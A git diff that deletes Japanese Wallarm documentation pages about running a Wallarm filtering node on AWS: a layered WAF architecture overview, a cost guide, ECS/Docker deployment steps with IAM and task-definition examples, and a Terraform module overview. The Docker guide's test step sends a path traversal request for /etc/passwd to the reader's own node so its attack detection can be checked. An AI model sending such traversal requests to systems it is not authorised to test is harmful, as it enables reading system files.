BOLA、マスアサインメント）を見逃しがちな従来型WAFとは異なり、Wallarmはビジネスロジックの悪用、ポイズニングされたクエリ、複数ステップの攻撃チェーンを検知します。 - -また、脅威リプレイテストをサポートしており、潜在的な脆弱性を安全にテストして誤検知を減らします。 - -APIの利用状況、攻撃パターン、シャドーAPIに関する詳細なインサイトにより、Wallarmはアプリケーション層での可視性と保護を強化し、AWS WAFのエッジレベルのフィルタリングを補完します。両者を組み合わせることで、既知の脅威と新たに出現する脅威の双方をブロックする多層防御を形成します。 - -[Wallarmの機能の詳細](../../../about-wallarm/overview.md) - -### 相補的な多層セキュリティアプローチ - -AWS WAFとWallarmを組み合わせることで、各レイヤーが異なる脅威を対象とする真の多層防御モデルを実現します: - -* AWS WAFは、既知のインジェクションパターン、ボット、スキャナのような広範な境界レベルの攻撃をフィルタリングし、アプリケーションに到達する前にノイズとトラフィック負荷を低減します。 -* Wallarmは、APIのコンテキストとアダプティブな検知で残りのトラフィックを精査し、境界のフィルタでは見逃される可能性があるビジネスロジックの悪用やゼロデイAPI攻撃のような、より巧妙な脅威を捉えます。 - -この多層構成により、それぞれのツールが最も得意とする役割を果たせます。AWS WAFは一般的なセキュリティルール（IPブロック、ジオ制限、レート制限）を適用し、Wallarmは深いトラフィック分析と振る舞いのコンテキストによってアプリケーション内部を保護します。その結果、検知精度が向上し、誤検知が減少し、手動でのルール調整も少なくなります。 - -基本的なフィルタリングをAWS WAFに任せ、複雑でアプリケーション特有の脅威にWallarmが集中することで、チームはよりスケーラブルで正確かつ堅牢なセキュリティアーキテクチャの恩恵を受けられます。このアプローチはクラウドネイティブのベストプラクティスに合致し、モダンなアプリケーションのエントリポイントと内部の仕組みの両方を保護するのに役立ちます。 - -### ハイレベルな統合アーキテクチャ - -AWS WAFとWallarmを組み合わせたアーキテクチャは、次のような多層アーキテクチャとして捉えられます: - -1. 境界レイヤー - AWSのエントリポイントでのAWS WAF - - インターネットトラフィックはまずCloudFront、API Gateway、ALBなどのサービスに到達し、そこでAWS WAFがWeb ACLルールを適用して、リクエストがアプリケーションに届く前にSQLi、XSS、ボットなどの既知の脅威をブロックします。さらにノイズを減らすために、IP、地理（Geo）、レートに基づくポリシーを適用することもあります。 -1. アプリケーションレイヤー - Wallarmフィルタリングノード - - クリーンなトラフィックはECS、EKS、またはEC2上で稼働するWallarmノードへと流れます。スマートプロキシまたはIngressコントローラとして動作し、WallarmがAPIの深い検査を実施して、ロジック上の欠陥、多段階の攻撃、異常なパターンを検知します。検証済みのトラフィックのみをアプリケーションサービスに転送します。 -1. 内部レイヤー - マイクロサービスとデータストア - - 精査済みのリクエストは、すでに両レイヤーでフィルタ済みの状態で、API、マイクロサービス、データベースといった中核コンポーネントに到達します。Wallarmは、例えばデータ漏えいを防ぐために、送信レスポンスの検査も実施できます。mTLSやIAMなどのサービス間保護を追加することで、このレイヤーをさらに強化できます。 - -![!](../../../images/waf-installation/aws/aws-waf-wallarm-deployment.png) - -一般的なモデルは、ALB + AWS WAF → Wallarm → Applicationです。Wallarmは柔軟なデプロイに対応しており、インフラに大きな変更を加えることなく、ALBの背後でのインライン、EKSのIngress、またはAPI GatewayやCloudFrontのオリジン背後などに配置できます。標準的なAWSネットワーキングとの互換性により、パブリックと内部の両方のトラフィック経路を保護できます。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/costs.md b/docs/latest-ja/installation/cloud-platforms/aws/costs.md deleted file mode 100644 index e96bb82b66..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/costs.md +++ /dev/null @@ -1,50 +0,0 @@ -# AWSでNGINX Nodeをデプロイする際のコストガイダンス - -本ページでは、AMIベースのEC2インスタンスやECSベースのDockerコンテナなどの方法でWallarm NGINX Nodeをデプロイする際に発生する、一般的なAWSインフラストラクチャコストの目安を説明します。 - -これらはAWSネイティブのコストのみであり、[Wallarmのサブスクリプション料金](../../../about-wallarm/subscription-plans/)は含まれません。 - -## AMIベースのデプロイメント（EC2インスタンス） {#ami-based-deployment-ec2-instance} - -[NGINX Node AMI](ami.md)はVPC内のEC2インスタンスとして起動します。高可用性のため、Application Load Balancer（ALB）の背後に複数のEC2インスタンスを配置する場合があります。ストレージにはAmazon EBSを使用し、標準的なAWSのネットワーキングコンポーネント（VPC、サブネット、セキュリティグループ）も使用します。 - -主なコスト要素: - -* EC2インスタンスの稼働時間: コストはインスタンスタイプ、リージョン、稼働時間に依存します。たとえば、`us-east`の`t3.medium`は約$0.0416/時（24時間365日稼働で月額約$30）です。冗長化のために複数のNGINX Nodeを使用する場合は、インスタンス数に応じて掛け合わせます。 -* EBSストレージ: 一般用途SSD 50 GBの場合、通常約$5/月が加算されます。 -* Elastic Load BalancerまたはApplication Load Balancer: 基本料金は約$16/月に加え、トラフィックに基づく使用料（LCU）が発生し、一般的な合計は約$22/月になります。[ALBの料金](https://aws.amazon.com/elasticloadbalancing/pricing/)はトラフィックの増加に伴い増加します。 -* データ転送: EC2からインターネットへの送信トラフィックは月間最初の100 GBが無料で、超過分は約$0.09/GBで課金されます。AZ間トラフィック（例: 別AZのEC2へのALB→EC2）もこのレートで課金されます。同一AZ内のトラフィックは無料です。 - -リージョンとトラフィックに基づく正確な見積もりには、[AWS Pricing Calculator](https://calculator.aws/)をご使用ください。 - -**試算例:** - -`us-east-1`で、ALBの背後に`t3.medium`のEC2インスタンス1台を24時間365日稼働させ、月間約1000万リクエストと送信トラフィック200 GBを処理する、典型的なAMIベースのデプロイメント: - -* EC2インスタンス: 約$30/月 -* EBSストレージ: 約$5/月（50 GB SSD） -* ALB: 約$22/月（基本+LCU使用量） -* データ転送: 約$9/月（最初の100 GBは無料） -* 概算合計: 約$60〜70/月 + [Wallarmのサブスクリプション料金](../../../about-wallarm/subscription-plans/) - -## Amazon ECS（Dockerコンテナ）デプロイメント - -[Amazon ECSを使用してAWSでWallarm（NGINX Node）をデプロイできます](docker-container.md)。EC2インスタンス上で実行することも、AWS Fargateを使用することもできます。 - -* EC2上のECS: EC2インスタンスを管理し、ECSがコンテナオーケストレーションを処理します。コストは[AMIベースのデプロイメント](#ami-based-deployment-ec2-instance)と同様で、EC2、EBS、任意のALB、データ転送が該当します。 -* Fargate上のECS: 完全マネージドです。割り当てたvCPUとRAMに対して秒単位で課金されます。EC2インスタンスの管理は不要です。 - -AWSはECS自体に対しては課金せず、コンテナが実行されるリソースに対してのみ課金されます。 - -リージョンとトラフィックに基づく正確な見積もりには、[AWS Pricing Calculator](https://calculator.aws/)をご使用ください。 - -**試算例:** - -`us-west-2`で、2タスク（各タスクは1 vCPU・2 GB RAM）、月間約1000万〜1500万リクエスト、送信トラフィック約200 GBの場合: - -* Fargateのコンピュート: 約$72/月（2タスク×約$36） -* ALB: 約$20/月（基本+中程度のトラフィック） -* データ転送: 約$9/月（最初の100 GBは無料、次の100 GBは$0.09/GB） -* 概算合計: 約$101/月 + [Wallarmのサブスクリプション料金](../../../about-wallarm/subscription-plans/) - -Wallarmのイメージ保管にAmazon ECRを使用することもできます（通常、コストはごくわずかです）。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/docker-container.md b/docs/latest-ja/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index 6f8fd878df..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,418 +0,0 @@ -# AWSへのWallarm Dockerイメージのデプロイ - -このクイックガイドでは、[NGINXベースのWallarmノードのDockerイメージ](https://hub.docker.com/r/wallarm/node)を、[Amazon Elastic Container Service(Amazon ECS)](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/)を使用してAmazonクラウドプラットフォームにデプロイする手順を説明します。 - -!!! warning "この手順の制限事項" - この手順には、ロードバランシングおよびノードの自動スケーリングの構成は含まれていません。これらのコンポーネントを自身で設定する場合は、[AWSの手順](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/)の該当箇所を確認することをおすすめします。 - -!!! info "セキュリティに関する注意" - このソリューションは、AWSのセキュリティベストプラクティスに従うように設計されています。デプロイにはAWSのルートアカウントの使用を避けることをおすすめします。代わりに、必要最小限の権限のみを持つIAMユーザーまたはロールを使用します。 - - デプロイプロセスは最小権限の原則を前提としており、Wallarmコンポーネントのプロビジョニングと運用に必要な最小限のアクセスのみを付与します。 - -本デプロイに必要なAWSインフラストラクチャのコスト見積もりについては、[AWSにWallarmをデプロイする際のコストガイダンス][aws-costs]を参照してください。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/aws-ecs-use-cases.md" - -## 要件 - -* **admin**権限を持つAWSアカウントとユーザー -* AWS CLI 1またはAWS CLI 2が正しく[インストール](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html)され、[設定](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html)されていること -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* 攻撃検出ルールおよび[API仕様][api-policy-enf-docs]の更新のダウンロード、ならびに[許可リスト、拒否リスト、グレーリスト][graylist-docs]に登録した国・地域・データセンターの正確なIPの取得のために、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" - -## WallarmノードのDockerコンテナ設定オプション - ---8<-- "../include/waf/installation/docker-running-options.md" - -## 環境変数で構成されたWallarmノードのDockerコンテナのデプロイ - -環境変数のみで構成されたコンテナ化Wallarmフィルタリングノードをデプロイするには、AWS Management ConsoleとAWS CLIを使用します。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [AWS Management Console](https://console.aws.amazon.com/console/home)にサインインし、**Services**一覧から**Elastic Container Service**を開きます。 -1. **Create Cluster**ボタンからクラスター作成に進みます: - 1. テンプレートとして**EC2 Linux + Networking**を選択します。 - 2. クラスター名を指定します。例: `wallarm-cluster`。 - 3. 必要に応じて、[AWSの手順](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create_cluster.html)に従ってその他の設定を行います。 - 4. クラスターを保存します。 -1. Wallarm Cloudへの接続に必要な機密データ(ノードトークン)を[AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html)または[AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)を使用して暗号化します。 - - 本手順では、機密データはAWS Secrets Managerに保存します。 - - !!! warning "機密データストレージへのアクセス" - Dockerコンテナが暗号化された機密データを読み取れるように、AWSの設定が次の要件を満たしていることを確認してください: - - * 機密データが、Dockerコンテナを実行するリージョンに保存されていること。 - * タスク定義の`executionRoleArn`パラメータで指定されたECSタスク実行ロールに、特定のシークレットARNにスコープされた最小権限の読み取りポリシーが設定されていること。カスタマー管理のKMSキーを使用してシークレットを暗号化している場合は、そのキーに対する`kms:Decrypt`権限も付与してください。[IAMポリシー設定の詳細 →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) - - IAMポリシーの例: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "ReadSpecificSecret", - "Effect": "Allow", - "Action": [ - "secretsmanager:GetSecretValue", - "secretsmanager:DescribeSecret" - ], - "Resource": "arn:aws:secretsmanager:::secret:*" - }, - { - "Sid": "DecryptForSecret", - "Effect": "Allow", - "Action": [ - "kms:Decrypt" - ], - "Resource": "arn:aws:kms:::key/", - "Condition": { - "StringEquals": { - "kms:ViaService": "secretsmanager..amazonaws.com" - } - } - } - ] - } - ``` - - Secrets Managerのデフォルトの AWSマネージドキーを使用している場合は、`DecryptForSecret`ステートメントを省略できます。 -1. 次のタスク定義([task definition](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html)、タスク定義はDockerコンテナの動作シナリオを定義します)を記述したローカルJSONファイルを作成します: - - === "Wallarm US Cloudを使用する場合" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.4.1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Wallarm EU Cloudを使用する場合" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.4.1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [あなたのAWSアカウントID](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html)。 - * `environment`オブジェクトは、Dockerコンテナにテキスト形式で渡す環境変数を設定します。使用可能な環境変数の一覧は以下の表に記載しています。`WALLARM_API_TOKEN`変数は`secrets`オブジェクトで渡すことを推奨します。 - * `secret`オブジェクトは、機密データストレージへのリンクとしてDockerコンテナに渡す環境変数を設定します。値の形式は選択したストレージによって異なります(詳細は[AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html)または[AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)のドキュメントを参照してください)。 - - `WALLARM_API_TOKEN`変数は`secrets`オブジェクトで渡すことを推奨します。 - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * すべての設定ファイルパラメータは[AWSドキュメント](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html)に記載されています。 -1. JSON構成ファイルに基づいて、[`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html)コマンドでタスク定義を登録します: - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: ローカルマシン上のタスク定義JSONファイルへのパス。 - * ``: タスク定義JSONファイルの名前と拡張子。 -1. [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html)コマンドでクラスター内にタスクを実行します: - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: 最初の手順で作成したクラスター名。例: `wallarm-cluster`。 - * ``: 作成したタスク定義の名前。JSONファイル内の`family`パラメータに指定した値と一致させます。例: `wallarm-api-security-node`。 -1. AWS Management Console→**Elastic Container Service**→該当の実行中タスクがあるクラスター→**Tasks**を開き、タスクが一覧に表示されていることを確認します。 -1. [フィルタリングノードの動作をテストします](#testing-the-filtering-node-operation)。 - -## マウントしたファイルで構成されたWallarmノードのDockerコンテナのデプロイ - -環境変数とマウントしたファイルで構成されたコンテナ化Wallarmフィルタリングノードをデプロイするには、AWS Management ConsoleとAWS CLIを使用します。 - -本手順では、設定ファイルを[AWS EFS](https://docs.aws.amazon.com/efs/latest/ug/whatisefs.html)ファイルシステムからマウントします。その他のマウント方法については[AWSドキュメント](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/using_data_volumes.html)を参照してください。 - -AWS EFSからマウントした設定ファイルと環境変数を使用してコンテナをデプロイする手順: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [AWS Management Console](https://console.aws.amazon.com/console/home)にサインインし、**Services**一覧から**Elastic Container Service**を開きます。 -1. **Create Cluster**ボタンからクラスター作成に進みます: - - * **Template**: `EC2 Linux + Networking`。 - * **Cluster name**: `wallarm-cluster`(例)。 - * **Provisioning Model**: `On-Demand Instance`。 - * **EC2 instance type**: `t2.micro`。 - * **Number of instances**: `1`。 - * **EC2 AMI ID**: `Amazon Linux 2 Amazon ECS-optimized AMI`。 - * **Key pair**: インスタンスへのSSH接続用の[key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html)。設定ファイルをストレージにアップロードするため、SSHでインスタンスに接続する必要があります。 - * その他の設定はデフォルトのままでもかまいません。他の設定を変更する場合は、[AWS EFSのセットアップ手順](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html)に従うことをおすすめします。 -1. [AWSの手順](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html)のステップ2〜4に従ってAWS EFSストレージを構成します。 -1. AWSの手順のステップ4で、設定ファイル`default`を作成し、デフォルトでマウント対象のファイルを格納するディレクトリに配置します。`default`ファイルにはフィルタリングノードの設定を記述します。最小設定の例: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [設定ファイルで指定できるフィルタリングノードのディレクティブ一覧 →][nginx-waf-directives] -1. Wallarm Cloudへの接続に必要な機密データ(ノードトークン)を[AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html)または[AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)を使用して暗号化します。 - - 本手順では、機密データはAWS Secrets Managerに保存します。 - - !!! warning "機密データストレージへのアクセス" - Dockerコンテナが暗号化された機密データを読み取れるように、AWSの設定が次の要件を満たしていることを確認してください: - - * 機密データが、Dockerコンテナを実行するリージョンに保存されていること。 - * タスク定義の`executionRoleArn`パラメータで指定されたECSタスク実行ロールに、特定のシークレットARNにスコープされた最小権限の読み取りポリシーが設定されていること。カスタマー管理のKMSキーを使用してシークレットを暗号化している場合は、そのキーに対する`kms:Decrypt`権限も付与してください。[上記のポリシー例](#環境変数で構成されたwallarmノードのdockerコンテナのデプロイ)および[IAMポリシーのドキュメント →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html)を参照してください。 -1. 次のタスク定義([task definition](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html)、タスク定義はDockerコンテナの動作シナリオを定義します)を記述したローカルJSONファイルを作成します: - - === "Wallarm US Cloudを使用する場合" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "", - "sourceVolume": "" - } - ], - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.4.1" - } - ], - "volumes": [ - { - "name": "", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Wallarm EU Cloudを使用する場合" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "/etc/nginx/http.d", - "sourceVolume": "default" - } - ], - "environment": [ - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.4.1" - } - ], - "volumes": [ - { - "name": "default", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [あなたのAWSアカウントID](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html)。 - * ``: 設定ファイルをマウントするコンテナ内ディレクトリ。設定ファイルは、以下のNGINXで使用されるコンテナディレクトリにマウントできます: - - * `/etc/nginx/conf.d` — 共通設定 - * `/etc/nginx/http.d` — バーチャルホスト設定 - * `/var/www/html` — 静的ファイル - - フィルタリングノードのディレクティブは`/etc/nginx/http.d/default.conf`ファイルに記述します。 - - * ``: マウント対象のファイルを保存するAWS EFSストレージの構成を含む`volumes`オブジェクトの名前(値は``と同一にします)。 - * ``: マウント対象のファイルを保存するAWS EFSストレージの構成を含む`volumes`オブジェクトの名前。 - * ``: コンテナにマウントするファイルを含むAWS EFSファイルシステムのID。IDはAWS Management Console→**Services**→**EFS**→**File systems**に表示されます。 - * `environment`オブジェクトは、Dockerコンテナにテキスト形式で渡す環境変数を設定します。使用可能な環境変数の一覧は以下の表に記載しています。`WALLARM_API_TOKEN`変数は`secrets`オブジェクトで渡すことを推奨します。 - * `secret`オブジェクトは、機密データストレージへのリンクとしてDockerコンテナに渡す環境変数を設定します。値の形式は選択したストレージによって異なります(詳細は[AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html)または[AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)のドキュメントを参照してください)。 - - `WALLARM_API_TOKEN`変数は`secrets`オブジェクトで渡すことを推奨します。 - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * すべての設定ファイルパラメータは[AWSドキュメント](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html)に記載されています。 -1. JSON構成ファイルに基づいて、[`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html)コマンドでタスク定義を登録します: - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: ローカルマシン上のタスク定義JSONファイルへのパス。 - * ``: タスク定義JSONファイルの名前と拡張子。 -1. [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html)コマンドでクラスター内にタスクを実行します: - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: 最初の手順で作成したクラスター名。例: `wallarm-cluster`。 - * ``: 作成したタスク定義の名前。JSONファイル内の`family`パラメータに指定した値と一致させます。例: `wallarm-api-security-node`。 -1. AWS Management Console→**Elastic Container Service**→該当の実行中タスクがあるクラスター→**Tasks**を開き、タスクが一覧に表示されていることを確認します。 -1. [フィルタリングノードの動作をテストします](#testing-the-filtering-node-operation)。 - -## フィルタリングノードの動作テスト - -1. AWS Management Consoleで実行中のタスクを開き、**External Link**欄からコンテナのIPアドレスをコピーします。 - - ![コンテナインスタンスの設定][aws-copy-container-ip-img] - - IPアドレスが空の場合は、コンテナが**RUNNING**ステータスであることを確認してください。 - -2. テスト用の[Path Traversal][ptrav-attack-docs]攻撃リクエストをコピーしたアドレスに送信します: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console→**Attacks**を[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - ![UIのAttacks][attacks-in-ui-image] -4. 必要に応じて、ノード動作の他の側面も[テスト][link-docs-check-operation]します。 - -コンテナのデプロイ中に発生したエラーの詳細は、AWS Management Consoleのタスク詳細に表示されます。コンテナにアクセスできない場合は、必要なフィルタリングノードのパラメータが正しい値でコンテナに渡されていることを確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index fa69179268..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1,117 +0,0 @@ -# Terraformを使用してAWSにWallarmをデプロイする - -WallarmはTerraform互換環境から[AWS](https://aws.amazon.com/)へノードをデプロイするための[Terraformモジュール](https://registry.terraform.io/modules/wallarm/wallarm/aws/)を提供しています。これらの手順を使用してモジュールを確認し、提供されているデプロイ例をお試しください。 - -Wallarm Terraformモジュールを実装することで、Wallarmノードの**[in-line](../../../inline/overview.md)（このデプロイ方法ではプロキシ）**デプロイが可能になります。デプロイ方式はWallarmモジュールの変数`preset`で容易に制御できます。 - -## ユースケース - -サポートされている[Wallarmのデプロイオプション](../../../supported-deployment-options.md)の中でも、次のユースケースではTerraformモジュールによるWallarmのデプロイを推奨します。 - -* 既存のインフラストラクチャがAWS上にある場合。 -* Infrastructure as Code（IaC）を実践している場合。WallarmのTerraformモジュールにより、AWS上のWallarmノードを自動で管理・プロビジョニングでき、効率と一貫性が向上します。 - -## 要件 - -* Terraform 1.0.5以上が[ローカルにインストール済み](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* USまたはEU[Cloud](../../../../about-wallarm/overview.md#cloud)のWallarm Consoleで**Administrator**[ロール](../../../../user-guides/settings/users.md#user-roles)を持つアカウントへのアクセス -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com`へのアクセス。ファイアウォールでブロックされていないことを確認してください -* 攻撃検出ルールや[API仕様](../../../../api-specification-enforcement/overview.md)の更新をダウンロードし、また[許可リスト・拒否リスト・グレーリスト](../../../../user-guides/ip-lists/overview.md)に登録された国・地域・データセンターの正確なIPを取得するため、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" - -本トピックには、VPCクラスターなどWallarmのデプロイに必要なすべてのAWSリソースを作成する手順は含まれていません。詳細は、該当する[Terraformガイド](https://learn.hashicorp.com/tutorials/terraform/module-use)を参照してください。 - -## Wallarm AWS Terraformモジュールの使用方法 - -AWS Terraformモジュールを使用して本番環境にWallarmをデプロイするには: - -1. [US Cloud](https://us1.my.wallarm.com/signup)または[EU Cloud](https://my.wallarm.com/signup)でWallarm Consoleにサインアップします。 -1. Wallarm Console → **Nodes**を開き、種類が**Wallarm node**のノードを作成します。 - - ![Wallarmノードの作成](../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) -1. 生成されたノードトークンをコピーします。 -1. Terraform構成に`wallarm`モジュールのコードを追加します。 - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - instance_type = "..." - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - token = "..." - - ... - } - ``` -1. `wallarm`モジュール構成の変数値を設定します。 - -| 変数 | 説明 | 型 | 必須？ | -| --------- | ----------- | --------- | --------- | -| `instance_type` | Wallarmのデプロイに使用する[Amazon EC2インスタンスタイプ](https://aws.amazon.com/ec2/instance-types/)（例：`t3.small`）。 | string | はい -| `vpc_id` | Wallarm EC2インスタンスをデプロイする[Amazon Virtual Private CloudのID](https://docs.aws.amazon.com/managedservices/latest/userguide/find-vpc.html)。 | string | はい -| `token` | Wallarm Console UIからコピーした[Wallarmノードトークン](../../../../user-guides/nodes/nodes.md#creating-a-node)。

        1つのトークンを複数のインストールで使用する

        選択した[プラットフォーム](../../../../installation/supported-deployment-options.md)に関係なく、1つのトークンを複数のインストールで使用できます。これにより、Wallarm Console UI内でノードインスタンスを論理的にグループ化できます。例：複数のWallarmノードを開発環境にデプロイし、各ノードが特定の開発者の所有する専用マシン上にある場合。

        | string | はい -| **Wallarm固有の変数** | | | | -| `host` | [Wallarm APIサーバー](../../../../about-wallarm/overview.md#cloud)。設定可能な値：
        • `us1.api.wallarm.com`（US Cloud）
        • `api.wallarm.com`（EU Cloud）
        デフォルトは`api.wallarm.com`です。 | string | いいえ -`upstream` | デプロイする[Wallarmノードのバージョン](../../../../updating-migrating/versioning-policy.md#version-list)。サポートされる最小バージョンは`4.0`です。

        デフォルトは`4.8`です。 | string | いいえ -| `preset` | Wallarmのデプロイスキーム。設定可能：`proxy`（デフォルト）。 | string | いいえ -| `proxy_pass` | プロキシ対象のサーバープロトコルとアドレス。Wallarmノードは指定されたアドレス宛のリクエストを処理し、正当なもののみをプロキシします。プロトコルには'http'または'https'を指定できます。アドレスはドメイン名またはIPアドレス（任意でポート）を指定できます。 | string | はい（`preset`が`proxy`の場合） -| `mode` | [トラフィックフィルタリングモード](../../../../admin-en/configure-wallarm-mode.md)。設定可能：`off`、`monitoring`、`safe_blocking`、`block`。

        デフォルトは`monitoring`です。 | string | いいえ -|`libdetection` | トラフィック解析時に[libdetectionライブラリを使用するか](../../../../admin-en/configure-parameters-en.md#wallarm_enable_libdetection)。

        デフォルトは`true`です。 | bool | いいえ -|`global_snippet` | NGINXのグローバル設定に追加するカスタム設定。設定を記述したファイルをTerraformコードのディレクトリに配置し、この変数にそのパスを指定できます。

        [プロキシの高度なソリューションデプロイ例](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L17)に設定例があります。 | string | いいえ -|`http_snippet` | NGINXの`http`設定ブロックに追加するカスタム設定。設定を記述したファイルをTerraformコードのディレクトリに配置し、この変数にそのパスを指定できます。

